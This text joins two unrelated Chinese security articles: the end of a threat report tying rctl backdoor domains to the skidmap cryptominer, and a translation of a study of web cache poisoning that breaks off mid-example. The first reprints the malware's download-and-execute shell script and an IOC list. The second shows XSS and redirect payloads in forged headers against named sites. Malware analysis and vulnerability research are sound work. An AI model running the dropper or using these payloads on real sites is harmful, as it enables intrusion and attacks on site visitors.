[googleblockchaintechnology.com](http://googleblockchaintechnology.com/)，[howoldareyou999.com](http://howoldareyou999.com/)，[franceeiffeltowers.com](http://franceeiffeltowers.com/)
的rctl-443/rctl子域名进行了拦截。拦截信息见下图：
显然这些域名在域名结构以及子域名的选择上有较强的相似性，子域名的使用是和业务相关，使用相同的子域名很大程度是相同的业务。
进一步分析其DNS请求的行为模式，我们发现其DNS请求有非常高的一致性。因为这种模式的域名不断出现，且其行为时间跨度已经接近1年半。经验告诉我们，这种行为模式的背后显然是特定的程序在调控，并且在不停的更新。
下图展示了从今年8月份以来相关域名的访问曲线。
## 如何定性
#### 图关联
一般来说，如果域名结构类似，并且使用了相同的基础设施，那么很有可能这些域名的在程序实现上扮演的功能是类似的。为此，我们使用图系统（360netlab开发的对多维度数据进行图关联分析的系统）对这些自动拦截的域名的基础设施和关联情况进行了分析。从下图中可以直观的看出：
* 所有查询域名（第二列的五角星节点）能够通过IP，URL和样本完成互相之间的关联，说明它们在基础设施上确实是一家。
* 同时还扩展出一些新的节点，其中的域名节点有明显的挖矿域名特征，而样本节点则关联处shell脚本和ELF样本，同样符合挖矿恶意程序的基本构成。
#### 域名关联
根据2019年9月份[趋势科技的报告](https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html)[1]可以判断，扩展出来的这两组域名均为skidmap恶意挖矿程序。由此基本可以确定rctl系列域名和skidmap挖矿程序有着密切的关联，并且DNSMon针对skidmap恶意挖矿程序相关域名（包括作为恶意程序的主下载域名pm[.]ipfswallet.tk）的拦截在时间上比趋势科技的安全分析报告早了大概4个月（2019.5
VS 2019.9）。
#### URL关联
经过图关联和域名关联的分析，我们可以确定新出现的域名和skidmap恶意挖矿程序有着极为密切的关系。但是由于之前的分析报告尚未对rctl系列域名做过任何相关的分析。
因此为了进一步确定这些新域名的功能，我们使用新的域名拼接旧的URL检查新域名是否在承接相应旧域名的功能。果然，相应的恶意软件是可以成功下载的。
hxxp://rctl.googleblockchaintechnology[.]com/pc
hxxp://rctl.googleblockchaintechnology[.]com/pm.sh
hxxp://rctl.googleblockchaintechnology[.]com/miner2
hxxp://rctl.googleblockchaintechnology[.]com/miner
hxxp://rctl.googleblockchaintechnology[.]com/cos6.tar.gz
hxxp://rctl.googleblockchaintechnology[.]com/cos7.tar.gz
并且下载回来的样本和之前分析文章中通过主下载域名(pm[.]ipfswallet.tk)分析的大体相同。举例pm.sh的内容如下：
PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin
cd /var/lib
if [ -x "/usr/bin/md5sum" -o -x "/bin/md5sum" ];then
sum=`md5sum pc|grep 42d271982608bd740bf8dd3458f79116|grep -v grep |wc -l`
if [ $sum -eq 1 ]; then
chmod +x /var/lib/pc
/var/lib/pc
exit 0
fi
fi
/bin/rm -rf /var/lib/pc
if [ -x "/usr/bin/wget" -o -x "/bin/wget" ]; then
wget -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/curl" -o -x "/bin/curl" ]; then
curl -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/get" -o -x "/bin/get" ]; then
get -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/cur" -o -x "/bin/cur" ]; then
cur -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/url" -o -x "/bin/url" ]; then
url -fs hxxp://pm.cpuminerpool[.]com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
else
rpm -e --nodeps wget
yum -y install wget
wget -c hxxp://pm.cpuminerpool[.]com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
fi
## 定量来看
#### sinkhole的数据
注意到2020年10月底新出现的2个rctl系列域名（howoldareyou999[.]com，franceeiffeltowers[.]com）并没有注册，但实际网络中已经有了大量的针对它们的DNS请求流量。由于之前的分析报告中，完全没有rctl系列域名的任何信息分析，为了弄清楚这些域名在实际网络中的切实请求，我们注册了其中的franceeiffeltowers[.]com，并对其做了sinkhole。
[Sinkhole技术](https://en.wikipedia.org/wiki/DNS_sinkhole)是指安全分析人员为了分析或者阻断恶意程序的传播，对恶意程序使用的域名进行注册或者重定向，将其流量导入到安全分析人员控制的机器上，是安全分析人员对抗恶意软件的一种有效手段。该技术同时也是低成本，大规模的关停僵尸网络业务的首选（2014年微软和FBI[关停GOZ僵尸网络](https://blogs.microsoft.com/blog/2014/06/02/microsoft-helps-fbi-in-gameover-zeus-botnet-cleanup/)使用的关键技术之一就是对GOZ的域名做了sinkhole）。
简单来说，当一个僵尸网络中的肉鸡向服务器发送数据时，就可以使用sinkhole技术将这些数据流量进行有目的的转发，以此来对僵尸网络进行监控、查找受到影响的域IP地址，最终瓦解僵尸网络的攻击，让那些肉鸡无法接受命令。
最为大众熟知的sinkhole当属2017年5月，wannacry爆发时安全研究人员针对其开关域名进行注册，做sinkhole处理，成功的阻断了wannacry勒索软件大规模传播，减少了其所造成的损失。
DNSMon在产生IOC的过程中，360netlab维护的基础sinkhole数据库一直在发挥着重要的作用。
经过观察，发现实际到franceeiffeltowers[.]com的流量和到主下载域名pm[.]ipfswallet.tk的流量有很大的差别，主要体现在：
1. 通过443端口进行通信
2. 需要完成TLS协议的交互，但是没有对访问域名的证书进行校验（我们提供的证书和sinkhole域名的证书并不匹配）
3. TLS握手之后，收到首包的payload长度为39，内容类似如下（不同客户端来源的数据包的字节的内容会有变化）：
00000000: 64 65 66 61 75 6C 74 00 00 00 00 00 00 00 00 00 default.........
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 16 3E 12 AE AD ...>...
或者类似如下：
00000000: 63 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4..............
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 52 54 00 B8 EB E1 .RT....
这些内容的显然和我们期望看到的可读性很好的http url以及相应的http协议的其他内容，反而看起来像是某种远控程序的上线包。
##### 客户端主要集中在阿里云与腾讯云
通过sinkhole域名，在2020-11-13，我们拿到了689个IP地址，其中64%的请求来源IP集中在阿里云和腾讯云上。具体分布如下图：
因为rctl系列域名（无论是否注册）在请求模式上互相之间非常接近，并且通过DNSMon系统能够看到他们的伴生关系非常紧密。我们有充足的理由相信已注册的域名（googleblockchain[.]com）的客户端来源与sinkhole的域名相同。
##### sinkhole的请求数量
请求数量方面，在2020.11.13 23:00 ~2020.11.14 23:00
时间段内，sinkhole服务器共收到了93.6万次上线请求（长度为39的二进制数据包）。
#### 寻找失落的源，找到了答案
尽管从前面的多种关联来看，几乎可以肯定rctl系列域名必然是和skidmap恶意挖矿程序相关的。但是sinkhole的数据显示rctl系列域名和已经披露的skidmap相关的IOC域名角色并不相同。
为了弄清楚这种流量的真实来源，我们在受限环境中，重新“感染”了一次skidmap。不出所料的发现了针对rctl系列域名的请求，通过分析发现是一个名叫
/usr/bin/irqbalanced (ad303c1e121577bbe67b4615a0ef58dc5e27198b)
的程序在不断的尝试的对外连接rctl* 类域名，并且注意到rctl相关的字符串也在skidmap的rootkit隐藏的目录列表中。
通过对该程序的分析发现它来自一个开源的远程控制软件[rctl](https://github.com/ycsunjane/rctl)（注：该软件的作者和skidmap的背后黑客不能因为该开源软件的关系而被认为是同一个人），并对其客户端程序进行了修改以适应skidmap的需求。不过，通信的核心协议并未发生变化，sinkhole最初收到的长度为39字节的数据就是受害者尝试连接主控的首包。
至此，真相大白：rctl系列域名是skidmap恶意挖矿程序的又一个后门。只因为最初的分析报告中没有提及此域名，导致现在几乎所有的威胁情报平台对rctl系列域名以及后门程序irqbalanced样本本身都没有加入IOC列表。
因为通信协议没有明显的变化，我们对rctl服务端软件稍作修改进行适配，在sinkhole服务器上运行其服务端之后，不出所料的收到众多的受害者的信息。
从软件运行的截图来看，该控制端可以对受害者可以进行批量的远程命令执行和单点的shell的登录，其功能说明和运行截图如下：
该远控软件的连接效率很高，服务端启动不久，连接的客户端已经接近900台。考虑到客户端连接时请求主控域名的顺序问题，真实的受害用户可能比这个数量要高不少。
#### 确认丢失了IOC
考虑到skidmap恶意挖矿程序自身的进化，有一种可能当时分析报告的版本并没有该后门，是后来添加进去的。
为了确认此种情况，我们通过virustotal查询了当时分析文章所提供IOC中的kaudited（[e6eb4093f7d958a56a5cd9252a4b529efba147c0e089567f95838067790789ee](https://www.virustotal.com/gui/file/e6eb4093f7d958a56a5cd9252a4b529efba147c0e089567f95838067790789ee/behavior)
）（正是该程序释放了irqbalanced以及其他的恶意程序），确认此后门在当时版本就存在。
从趋势科技对skidmap进行详尽的分析算起，已经过去了1年多，多家IOC生产机构，却都漏掉了rctl这种重要的IOC，对此我们并不意外。
安全防御没有银弹，利用包括像DNSMon这种平台等多种分析手段，多数据源的交叉才能够尽量好的解决这种问题。
## 感染过程
关于skidmap利用什么漏洞进入系统，下载了哪些恶意程序(rootkit)，每个恶意程序的功能以及他们之间的关系，不在本文赘述。后续我们考虑用一篇专门的文章来进行具体的介绍。
至此，本文基本结束，做一个简要的概括。
## 结论
1. DNSMon系统能够很好的发现各种已知和未知的威胁，通过多维度数据交叉校验之后，对其判黑和高可疑数据进行拦截。
2. DNSMon系统产生的黑和高可疑IOC，对安全要求比较高的用户来说是非常有价值，是对现有依据传统安全分析方法产生的威胁情报(IOC)很好的互补。
3. skidmap恶意挖矿程序存在着一个之前一直存在但从未批露的漏洞，新的IOC需要补充进来。
4. skidmap恶意挖矿程序的受害用户在国内目前大多数来自与云平台，主要集中在阿里云和腾讯云。
## 参考资料
1. <https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html>
2. <https://github.com/ycsunjane/rctl>
3. <https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/567242/national_cyber_security_strategy_2016.pdf>
4. <https://www.homeaffairs.gov.au/cyber-security-subsite/files/cyber-security-strategy-2020.pdf>
5. <https://www.cira.ca/cybersecurity-services/canadian-shield>
## IOC
注：本IOC列表仅包含DNSMon系统发现的且之前分析报告没有提及的域名IOC以及本次分析流程中识别出的其他类型的IOC。
域名：
rctl-443.franceeiffeltowers[.]com
rctl-443.googleblockchaintechnology[.]com
rctl-443.howoldareyou999[.]com
rctl-443.ipfswallet[.]tk
rctl-443.onlinetalk[.]tk
rctl.franceeiffeltowers[.]com
rctl.googleblockchaintechnology[.]com
rctl.howoldareyou999[.]com
rctl.ipfswallet[.]tk
rctl.onlinetalk[.]tk
样本：
ecb6f50245706cfbdc6d2098bc9c54f3 irqbalanced
9c129d93f6825b90fa62d37b01ae3b3c pamdicks
5840dc51673196c93352b61d502cb779 ip6network
871a598f0ee903b4f57dbc5020aae293 systemd-network
证书：
4241c714cd2b04f35e49ed593984c6932e1f387c rctl.onlinetalk[.]tk
3158b9c2e703a67363ac9ee9c1b247c2e1abf4c7 rctl.onlinetalk[.]tk
5fbad62b7738c76094ab6a05b32425305400183f onlinetalk[.]tk
e886e1899b636f2875be56b96cf1affdd957348a googleblockchaintechnology[.]com
目录文件：
/etc/rctlconf/rctlcli.cfg
/etc/rctlconf/certs/rctl_cert.pem
/etc/rctlconf/certs/rctl_priv.pem
/etc/rctlconf/certs/rctl_ca.crt
ssh登录公钥：
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cjOtK8LAcIPBchQkU/qKSGbe7A9MTvrwqBc6trso6UMBpeTWY8loM1082h4HZ4daNJ1S8yB57PtOHSUwG//SD5ahYfOTOInQpU5p7mnczql9UPXO68VXukBpbmjueEwVtXXFnd/9kZzqBroS9zMakKh53URPoKus4d/V7Ct5ecPSo2WDRJDLbewE9ojb+v4R8C4xartjNLsyUXRwqgk1B6LK8JKIWUU55+LoaecFTBoBil+DP2Wxl2RhFaGCHItInwPgmtigYcOH/zMePw+aiXsYMbSzNtQswh3E0h7bpxq7hgilFTglfmrZybF45enkjwr9cfsWpkQ6NQ1nONA9 root@doclever | 社区文章 |
# 实战Web缓存中毒
* * *
本文翻译自: <https://portswigger.net/blog/practical-web-cache-poisoning>
* * *
## 摘要
Web缓存投毒长期以来一直是一个难以捉摸的漏洞，是一种“理论上的”威胁和吓唬开发人员去乖乖修补但任何人无法实际利用的问题。
在本文中，我将向您展示，如何通过使用深奥的网络功能将其缓存转换为漏洞利用传送系统来破坏网站，针对的对象是任何请求访问其有错误的主页的人。
我将通过漏洞来说明和开发这种技术。这些漏洞使我能够控制众多流行的网站和框架，从简单的单一请求攻击发展到劫持JavaScript，跨越缓存层，颠覆社交媒体和误导云服务的复杂漏洞利用链。我将讨论防御缓存投毒的问题，并发布推动该研究开源的Burp
Suite社区扩展。
这篇文章也会作为[可打印的pdf](https://portswigger.net/kb/papers/7q1e9u9a/web-cache-poisoning.pdf)提供，而且它是我的[ Black Hat USA
presentation](https://www.blackhat.com/us-18/briefings/schedule/index.html#practical-web-cache-poisoning-redefining-unexploitable-10200)（美国黑帽大会演示文稿），
因此幻灯片和视频将在适当的时候提供。
## 核心概念
### 缓存101
要掌握缓存投毒，我们需要快速了解缓存的基本原理。Web缓存位于用户和应用程序服务器之间，用于保存和提供某些响应的副本。在下图中，我们可以看到三个用户一个接一个地获取相同的资源：
缓存旨在通过减少延迟来加速页面加载，还可以减少应用程序服务器上的负载。一些公司使用像Varnish这样的软件来托管他们的缓存，而其他公司选择依赖像Cloudflare这样的内容交付网络（CDN），将缓存分散在各个地理位置。此外，一些流行的Web应用程序和框架（如Drupal）具有内置缓存功能。
还有其他类型的缓存，例如客户端浏览器缓存和DNS缓存，但它们不是本研究的重点。
### 缓存键(Cache keys)
缓存的概念可能听起来简洁明了，但它隐藏了一些风险。每当缓存收到对资源的请求时，它需要确定它是否已经保存了这个确切资源的副本，并且可以使用该副本进行回复，或者是否需要将请求转发给应用程序服务器。
确定两个请求是否正在尝试加载相同的资源可能很棘手; 通过请求逐字节匹配的方法是完全无效的，因为HTTP请求充满了无关紧要的数据，例如浏览器发出的请求：
缓存使用`缓存键`的概念解决了这个问题 - 缓存键的一些特定组件用于完全标识所请求的资源。在上面的请求中，我用橙色突出显示了典型缓存键中包含的值。
这意味着缓存认为以下两个请求是等效的，并使用从第一个请求缓存的响应来响应第二个请求：
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=pl;
Connection: close
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=en;
Connection: close
因此，该页面将提供给第二位访问者错误的语言格式。这暗示了这个问题 -任何由未加密的输入触发的响应差异，都可以存储并提供给其他用户。理论上，站点可以使用“Vary”响应头来指定应该键入的请求头。在实际中，Vary协议头仅初步使用，像Cloudflare这样的CDN却完全忽略它，人们甚至没有意识到他们的应用程序支持基于任何协议头的输入。
这会导致许多意想不到的破坏，特别是当有人故意开始利用它时，它的危害才会真正开始体现。
### 缓存投毒(Cache Poisoning)
Web缓存投毒的目的是发送导致有危害响应的请求，该响应将保存在缓存中并提供给其他用户。
在本文中，我们将使用未加密的输入（如HTTP请求）来使缓存中毒。当然这不是使缓存投毒的唯一方法 - 您也可以使用HTTP响应拆分和[请求走私(Request
Smuggling)](https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEFCON-24-Regilero-Hiding-Wookiees-In-Http.pdf)方法-但我认为我的方法是最好的。请注意，Web缓存投毒与[Web缓存欺骗](https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html)是不同类型的攻击，不应将它们混淆。
### 方法(Methodology)
我们将使用以下方法查找缓存投毒漏洞：
我不是试图深入解释这一点，而是快速概述，然后演示它如何应用于真实的网站。
第一步是识别未加密的输入。手动执行此操作非常繁琐，因此我开发了一个名为[Param
Miner](https://github.com/PortSwigger/param-miner)的开源Burp
Suite扩展，通过猜测`header/cookie`的名称来自动执行这些步骤，并观察它们是否对应用程序的响应产生影响。
找到未加密的输入后，接下来的步骤是评估您可以对它做多少破坏，然后尝试将其存储在缓存中。如果失败，则您需要更好地了解缓存的工作方式，并且在重试之前，搜索可缓存的目标页面。然而页面是否被高速缓存基于多种因素，包括文件扩展名，内容类型，路由，状态代码和响应头。
缓存的响应可以屏蔽未加密的输入，因此如果您尝试手动检测或探索未加密的输入，则“破坏缓存”（cache buster）是很重要的。如果加载了`Param
Miner`，就可以通过向查询字符串添加值为`$ randomplz`的参数，确保每个请求都具有唯一的缓存键。
检测实时网站时，因为缓存响应而意外的使其他访问者中毒是一种永久性危害。`Param
Miner`通过向来自Burp的所有出站请求添加“破坏缓存”来缓解这种情况。此缓存共享器具有固定值，因此您可以自己观察缓存行为，而不会影响其他用户。
## 实例探究(Case Studies)
让我们来看看该方法应用于真实网站时会发生什么。像往常一样，我只针对对研究人员具有友好安全策略的网站。这里讨论的所有漏洞都已被报告和修补，但由于“私人”程序需要，我被迫编写了一些漏洞利用程序。
其中许多案例研究在未加密的输入中利用了[XSS](https://portswigger.net/kb/issues/00200300_cross-site-scripting-reflected)等辅助漏洞，重要的是要记住，如果没有缓存投毒，这些漏洞就没用了，因为没有可靠的方法强制其他用户在跨域请求上发送自定义协议头。这可能就是他们如此容易找到的原因。
### 投毒的基本原理(Basic Poisoning)
尽管它的名声在外，但缓存投毒实际上很容易被利用。首先，让我们来看看Red Hat的主页。`Param Miner`程序立即发现了一个未加密的输入：
GET /en?cb=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: canary
HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://canary/cms/social.png" />
在这里，我们可以看到应用程序使用X-Forwarded-Host协议头在元标记(meta tag)内生成打开图片的 URL。下一步是探索它是否可利用 -我们将从一个简单的[跨站点脚本](https://portswigger.net/kb/issues/00200300_cross-site-scripting-reflected) Payload开始：
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."><script>alert(1)</script>
HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>
看起来不错 -我们可以确认做出一个响应，它将对任何查看它的人执行任意JavaScript。最后一步是检查此响应是否已存储在缓存中，以便将其传递给其他用户。不要让'Cache
Control: no-cache' 协议头影响你 -因此尝试攻击总是比假设它不起作用好。您可以先通过重新发送没有恶意协议头的请求进行验证，然后直接在另一台计算机上的浏览器中获取URL：
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
HTTP/1.1 200 OK
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>
这很简单。尽管返回响应中没有任何表明缓存存在的协议头，但我们的漏洞利用已被明确缓存。DNS快速查询提供了解释 - www.redhat.com 是
www.redhat.com.edgekey.net 的CNAME(别名)，表明它正在使用Akamai的CDN。
### 谨慎投毒(Discreet poisoning)
在这一点上，我们已经证明可以通过使`https://www.redhat.com/en?dontpoisoneveryone=1`投毒来进行攻击，而且避免了影响网站的实际访问者。为了真正使博客的主页投毒并使所有的后续访问者访问我们的漏洞，我们需要确保在缓存的响应过期后我们将第一个请求发送到主页。
也许可以尝试使用像Burp
Intruder或自定义脚本之类的工具来发送大量请求，但这种流量大的方法几乎不可用。攻击者可以通过逆向目标的缓存到期系统并通过浏览文档和监控网站来预测准确的到期时间来避免这个问题，但这听起来就很难。
幸运的是，许多网站让我们攻击。在unity3d.com中获取此缓存投毒漏洞：
GET / HTTP/1.1
Host: unity3d.com
X-Host: portswigger-labs.net
HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
…
<script src="https://portswigger-labs.net/sites/files/foo.js"></script>
我们有一个未加密的输入 - the X-Host协议头 - 用于生成导入脚本的URL。响应协议头“Age”和“max-age”分别是当前响应的时间和它将过期的时间。总之，这些告诉我们应该发送的有效Payload确切的秒数，以确保我们的响应被缓存。
### 选择性投毒(Selective Poisoning)
HTTP请求头可以为缓存的内部工作节省时间。拿下面这个著名的网站：
GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 … Firefox/60.0
X-Forwarded-Host: a"><iframe onload=alert(1)>
HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
…
<link rel="canonical" href="https://a">a<iframe onload=alert(1)>
</iframe>
这看起来几乎与第一个例子相同。但是，Vary协议头告诉我们，User-Agent可能是缓存键的一部分，我通过手动测试确认了这一点。这意味着，因为我们使用的是Firefox 60，所提我们的漏洞只会提供给其他使用Firefox
60用户。我们可以使用普遍的用户代理列表来确保大多数访问者接收我们的漏洞，但这种行为使我们可以选择更具选择性的攻击。如果您了解用户的代理，则可以针对特定人员定制攻击，甚至可以隐藏自己的网站监控。
### DOM投毒(DOM Poisoning)
利用未加密的输入并不总是像写入XSS Payload一样容易。如以下请求：
GET /dataset HTTP/1.1
Host: catalog.data.gov
X-Forwarded-Host: canary
HTTP/1.1 200 OK
Age: 32707
X-Cache: Hit from cloudfront
…
<body data-site-root="https://canary/">
我们已经控制了'data-site-root'属性，但我们不能突破以使用XSS，并且不清楚这个属性甚至用于什么。为了找到答案，我在Burp中创建了一个匹配并替换的规则，为所有请求添加了“X-Forwarded-Host：id.burpcollaborator.net”协议头，然后浏览了该站点。当加载某些页面时，Firefox会将JavaScript生成的请求发送到我的服务器：
GET /api/i18n/en HTTP/1.1
Host: id.burpcollaborator.net
该路径表明，在网站的某个地方，有一些JavaScript代码使用data-site-root属性来决定从哪里加载一些国际数据。我试图通过获取<https://catalog.data.gov/api/i18n/en>
来找出这些数据应该是什么样的，但只是收到了一个空的JSON响应。幸运的是，将'en'改为'es'拿到了一个线索：
GET /api/i18n/es HTTP/1.1
Host: catalog.data.gov
HTTP/1.1 200 OK
…
{"Show more":"Mostrar más"}
该文件包含用于将短语翻译为用户所选语言的地图。通过创建我们自己的翻译文件并使缓存投毒，我们可以将短语翻译变成漏洞：
GET /api/i18n/en HTTP/1.1
Host: portswigger-labs.net
HTTP/1.1 200 OK
...
{"Show more":"<svg onload=alert(1)>"}
最终的结果，任何查看包含“显示更多”文字的网页的人都会被利用。
### 劫持Mozilla SHIELD(Hijacking Mozilla SHIELD)
我配置的“X-Forwarded-Host”匹配/替换规则可帮助解决上一个漏洞，而且产生意想不到的效果。除了与catalog.data.gov的交互之外，我还收到了一些非常神秘的内容：
GET /api/v1/recipe/signed/ HTTP/1.1
Host: xyz.burpcollaborator.net
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: application/json
origin: null
X-Forwarded-Host: xyz.burpcollaborator.net
[Origin:null 相当罕见](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)之前，我从来没有见过一个浏览器的问题完全小写`Origin`
协议头。通过筛选代理的历史记录，发现罪魁祸首是Firefox本身。Firefox曾试图获取一份“recipes”列表，作为[SHIELD](https://wiki.mozilla.org/Firefox/Shield)系统的一部分，用于静默安装扩展以用于营销和研究目的。该系统可能因强行分发“Mr
Robot”扩展而闻名，引起了[消费者的强烈反对](https://www.cnet.com/news/mozilla-backpedals-after-mr-robot-firefox-misstep/)。
无论如何，看起来X-Forwarded-Host协议头欺骗了这个系统，将Firefox引导到我自己的网站以获取`recipes`：
GET /api/v1/ HTTP/1.1
Host: normandy.cdn.mozilla.net
X-Forwarded-Host: xyz.burpcollaborator.net
HTTP/1.1 200 OK
{
"action-list": "https://xyz.burpcollaborator.net/api/v1/action/",
"action-signed": "https://xyz.burpcollaborator.net/api/v1/action/signed/",
"recipe-list": "https://xyz.burpcollaborator.net/api/v1/recipe/",
"recipe-signed": "https://xyz.burpcollaborator.net/api/v1/recipe/signed/",
…
}
`Recipes`看起来像：
[{
"id": 403,
"last_updated": "2017-12-15T02:05:13.006390Z",
"name": "Looking Glass (take 2)",
"action": "opt-out-study",
"addonUrl": "https://normandy.amazonaws.com/ext/pug.mrrobotshield1.0.4-signed.xpi",
"filter_expression": "normandy.country in ['US', 'CA']\n && normandy.version >= '57.0'\n)",
"description": "MY REALITY IS JUST DIFFERENT THAN YOURS",
}]
该系统使用NGINX进行缓存，并很乐意地保存我的投毒响应并将其提供给其他用户。Firefox在浏览器打开后不久就会抓取此URL并定期重新获取它，最终意味着数千万Firefox日常用户都可能从我的网站上检索`recipes`。
这提供了很多可能性。Firefox使用的`recipes`有[签名](https://github.com/mozilla-services/autograph/tree/master/signer/contentsignature)，所以我不能通过只安装恶意插件来使代码执行，但我可以使数千万真正的用户访问我构造的URL。显而易见，这可以作为DDoS使用。如果与适当的内存破坏漏洞相结合，这将是非常严重的。此外，一些后端Mozilla系统使用无符号`recipes`，这可能用于在其基础设施内部获得立足点并可能获得`recipes`签名密钥。此外，我可以重做之前选择的`recipes`，这可能会大规模强制用户安装一个已知漏洞的扩展，或导致`Mr
Robot`意外返回。
我向Mozilla报告了这一点，他们在24小时内修补了他们的基础设施，但是对于严重程度存在一些分歧，因此只获得了1000美元的奖励。
### 路由投毒(Route poisoning)
有些应用程序不仅愚蠢地使用协议头生成URL，而且无知地将它们用于内部的请求路由：
GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Server: canary
HTTP/1.1 404 Not Found
CF-Cache-Status: MISS
…
<title>HubSpot - Page not found</title>
<p>The domain canary does not exist in our system.</p>
Goodhire.com显然托管在HubSpot上，而HubSpot给予X-Forwarded-Server比主机优先级高的请求头，并使请求的目标客户端感到困惑。虽然我们的输入反映在页面中，但它是HTML编码的，所以直接的XSS攻击在这里不起作用。要利用这一点，我们需要转到hubspot.com，将自己注册为HubSpot客户端，在HubSpot页面上放置一个有效Payload，然后欺骗HubSpot在goodhire.com上发送此响应：
GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com
HTTP/1.1 200 OK
…
<script>alert(document.domain)</script>
Cloudflare愉快地缓存了此响应，并将其提供给后续访问者。在将此报告传递给HubSpot后，HubSpot通过永久封禁我的IP地址来解决这个问题。经过一番劝说，他们最终修补了漏洞。
像这样的内部错误路由漏洞在SaaS应用程序中特别常见，在这些应用程序中，单个系统处理针对许多不同客户的请求。
### 隐蔽的路由投毒（Hidden Route Poisoning）
路由投毒漏洞并不总是那么明显：
GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: canary
HTTP/1.1 302 Found
Location: https://ghost.org/fail/
Cloudflare的博客由Ghost托管，显然他们正在使用X-Forwarded-Host协议头。您可以通过指定另一个可识别的主机名（例如blog.binary.com）来避免重定向“失败”，但这只会导致奇怪的10秒延迟，然后是标准的blog.cloudflare.com响应。乍一看，并没有明确的方法来利用这一点。
当用户首次使用Ghost注册博客时，它会在ghost.io下使用唯一的子域发布它们。一旦博客启动并运行，用户就可以定义像blog.cloudflare.com这样的任意自定义域。如果用户定义了自定义域，则其ghost.io子域将只重定向到它：
GET / HTTP/1.1
Host: noshandnibble.ghost.io
HTTP/1.1 302 Found
Location: http://noshandnibble.blog/
至关重要的是，也可以使用X-Forwarded-Host协议头触发此重定向：
GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: noshandnibble.ghost.io
HTTP/1.1 302 Found
Location: http://noshandnibble.blog/
通过注册我的ghost.org帐户并设置自定义域名，我可以将发送到blog.cloudflare.com的请求重定向到我自己的网站：[waf.party](https://waf.party/)。这意味着我可以劫持类似图像资源的加载：
重定向JavaScript加载以获得对blog.cloudflare.com的完全控制的逻辑步骤被一个问题阻挠 -如果你仔细观察重定向，你会看到它使用HTTP但博客是通过HTTPS加载的。这意味着浏览器的混合内容保护启动并阻止`script/stylesheet`重定向。
我找不到任何技术方法让Ghost发出HTTPS重定向，因此很想放弃我的顾虑并向Ghost报告使用HTTP而不是HTTPS作为漏洞的，希望他们能为我修复它。最终，我决定通过将问题放上[hackxor](https://hackxor.net/mission?id=7)并附上现金奖励来众筹解决方案。第一个解决方案是Sajjad
Hashemian发现的，他发现在Safari中如果waf.party在浏览器的HSTS缓存中，重定向将自动升级到HTTPS而不是被阻止。根据[Manuel
Caballero的工作](https://www.brokenbrowser.com/loading-insecure-content-in-secure-pages/)，[Sam Thomas](https://twitter.com/_s_n_t)跟进了Edge的解决方案-发布302重定向到HTTPS URL，完全绕过了Edge的混合内容保护。
总而言之，对于Safari和Edge用户，我可以完全控制blog.cloudflare.com，blog.binary.com和其他所有ghost.org客户端上的每个页面。对于Chrome/Firefox用户，我只能劫持图像。虽然我使用Cloudflare作为上面的截图，因为这是第三方系统中的一个问题，我选择通过Binary报告它，因为他们的bug赏金计划支付现金，不像Cloudflare。
### 链接未加密的输入（Chaining Unkeyed Inputs）
有时，未加密的输入只会混淆应用程序堆栈的一部分，并且您需要链接其他未加密的输入以实现可利用的结果。以以下网站为例：
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: xyz
HTTP/1.1 200 OK
Set-Cookie: locale=en; domain=xyz
X-Forwarded-Host协议头覆盖到cookie上的域，但在响应的其余部分中没有生成任何URL。这本身就没用了。但是，还有另一个未加密的输入：
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Scheme: nothttps
HTTP/1.1 301 Moved Permanently
Location: https://redacted.net/en
此输入本身也是无用的，但如果我们将两者结合在一起，我们可以将响应转换为重定向到任意网址：
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps
HTTP/1.1 301 Moved Permanently
